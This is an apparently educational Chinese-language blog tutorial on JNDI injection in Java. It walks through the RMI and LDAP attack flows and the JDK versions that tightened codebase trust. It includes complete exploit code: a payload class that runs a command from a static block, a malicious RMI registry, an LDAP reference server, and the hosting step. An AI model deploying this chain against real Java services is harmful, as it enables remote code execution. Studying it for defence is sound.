0x01 前言
JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。其中JNDI中也存在RMI codebase的动态加载机制,并且其配置同底层的RMI配置并不相关,因此使用RMI codebase远程加载对jdk版本的限制不会为jdk7u21前。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
0x02 相关知识
攻击场景
JNDI使用方法如下,如果jndiName可控,那么则会造成JNDI注入攻击。
//指定需要查找name名称String jndiName= "xxx";//初始化默认环境Context context = new InitialContext();//查找该name的数据context.lookup(jndiName);
- 攻击者提供一个绝对的RMI URL给可控的JNDI lookup当作参数。
- 服务端连接攻击者控制的RMI registry,获取到一个恶意的JNDI Reference。
- 服务端解码JNDI Reference
- 服务端从攻击者控制的服务器获取到工厂类(即恶意类)
- 服务端实例化工厂类
- 恶意代码执行
javax.naming.InitialContext类
该类的作用是构建初始上下文,获取目录环境情况。主要有以下方法:
bind(Name name, Object obj):将名称绑定到对象。list(String name):枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。lookup(String name):检索命名对象。rebind(String name, Object obj):将名称绑定到对象,覆盖任何现有绑定。unbind(String name):取消绑定命名对象。javax.naming.Reference类
该类表示对在命名/目录系统外部找到的对象的引用。引用中包含着相关服务的信息,如RMI、LDAP等。
用法如下:String url = "http://127.0.0.1:8080";Reference reference = new Reference("test", "test", url);
参数1:
className- 远程加载时所使用的类名,即lookup返回的类类型。- 参数2:
classFactory- 加载的class中需要实例化类的名称 - 参数3:
classFactoryLocation- 提供classes数据的地址可以是file/ftp/http协议
以下代码基于RMI服务绑定一个Reference。
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RefServer {public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {String url = "http://127.0.0.1:8080";Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("foo",referenceWrapper);}}
需要注意一点的是Reference并不能直接绑定在registry中,因为RMI只允许绑定实现Remote接口和继承 UnicastRemoteObject类。所以使用ReferenceWrapper将Reference包裹。
LDAP
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
更详细的内容:https://www.cnblogs.com/wilburxu/p/9174353.html
0x03 JNDI+RMI
在相关知识部分已经介绍了JNDI+RMI的攻击流程,JNDI客户端寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。需要以下三个部分:JNDI客户端、RMI服务端、挂载payload的web服务。
payload代码:
import java.io.IOException;public class Exploit {public Exploit() {}static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}}
使用javac编译后挂载到web服务,这里简单起见使用python:python -m http.server 8080
RMI服务端代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8080/";Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Exploit", "Exploit", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("foo",referenceWrapper);System.out.println("running");}}
JNDI客户端代码:
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDITest {public static void main(String[] args) throws NamingException {//指定需要查找name名称String jndiName= "rmi://127.0.0.1:1099/foo";//初始化默认环境Context context = new InitialContext();//查找该name的数据context.lookup(jndiName);}}
运行RMI服务端代码后,运行JNDITest。
跟踪一下流程,首先是InitialContext的lookup方法。
在getURLOrDefaultInitCtx方法中根据协议选择相应的Context,这里是rmiURLContext。
接着com.sun.jndi.toolkit.url.GenericURLContext#lookup方法,调用RegistryContext获取绑定的对象。
com.sun.jndi.rmi.registry.RegistryContext#lookup,获取远程对象,并对对象进行decodeObject操作。
com.sun.jndi.rmi.registry.RegistryContext#decodeObject,继续跟进。
javax.naming.spi.NamingManager#getObjectInstance,跟进。
javax.naming.spi.NamingManager#getObjectFactoryFromReference,先会在本地加载class,如果未加载成功则通过reference中的codebase远程加载对象。
跟进可发现其使用Class.forName加载类到内存,因此位于类的静态代码则会执行。也可以将payload写入到构造函数中,如上图所示,在加载类后会对该类进行实例化。
在JDK8u113以及JDK6u132, JDK7u122之后增加了对远程codebase的限制,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,也就无法使用rmi来加载codebase了。
0x04 JNDI+LDAP
LDAP攻击场景与RMI基本一致,只是将RMI服务端换为LDAP服务端,就不加赘述了。
发现大家使用的LDAP服务端代码基本都是下面这个代码:
import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LDAPServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://127.0.0.1:8080/#Exploit"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}}
需要配置maven:
<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.9</version></dependency>

在 JDK 8u191 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。
0x05 总结
参考文章
[1] https://www.cnblogs.com/nice0e3/p/13958047.html
[2] https://www.anquanke.com/post/id/199481
